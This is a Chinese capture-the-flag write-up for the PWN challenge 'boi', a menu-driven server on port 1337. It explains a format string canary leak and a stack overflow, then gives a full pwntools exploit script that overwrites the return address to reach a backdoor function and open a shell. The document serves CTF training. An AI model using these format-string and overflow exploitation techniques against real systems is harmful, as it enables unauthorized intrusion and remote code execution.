攻防世界PWN之boi題解

Boi

首先,檢查一下程序的保護機制

然後,我們用IDA分析一下

看似很複雜,我們發現這是一個服務器程序,並且一開始要發送特殊指令,才能顯示出菜單

套接字初始化,綁定了本地端口0x539也就是1337

這裏是接收指令

Unpack是將網絡字節序轉爲本機字節序,如x86的小端

因此,我們一開始,爲了顯示出菜單,需要這樣

 

  1. sh.sendline('zhaohai')  
  2. #發送這個,才能顯示出菜單  
  3. sh.sendline('a'*0x4 + '\x00\x00\x00\x0C\x00\x00\x00\x05')  

然後,我們看到菜單的功能6,存在棧溢出

這裏有後門函數

那麼,我們只要泄漏canary,就可以溢出了

功能1存在一個格式化字符串漏洞,參數正式功能6裏輸入的v3,因此,我們可以利用格式化字符串漏洞來泄漏canary

綜上,我們的exp腳本

#coding:utf8
from pwn import *

getshell0 = 0x405524
sh = remote('127.0.0.1','1337')

#sh = remote('111.198.29.45',55316)

def create():
   sh.sendlineafter('Your Choice :','1')
   sh.sendlineafter('size:','256')
   sh.sendlineafter('rabbit info :','a')

def show():
   sh.sendlineafter('Your Choice :','4')
   sh.sendlineafter('idx:','0')

sh.sendline('zhaohai')
#發送這個,才能顯示出菜單
sh.sendline('a'*0x4 + '\x00\x00\x00\x0C\x00\x00\x00\x05')

#格式化字符串漏洞泄露canary
payload = 'S%12$p'
sh.sendlineafter('Your Choice :','6')
sh.sendlineafter('you can name the rabbit hole.',payload)

create()
show()
sh.recvuntil('S')
canary = int(sh.recvuntil('\n',drop = True),16)
print 'canary=',hex(canary)
payload = 'a'*0x8 + p64(canary) + p64(0) + p64(getshell0)
sh.sendlineafter('Your Choice :','6')
sh.sendlineafter('you can name the rabbit hole.',payload)
#getshell
sh.sendlineafter('Your Choice :','5')

sh.interactive()

 

這裏是接收指令

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章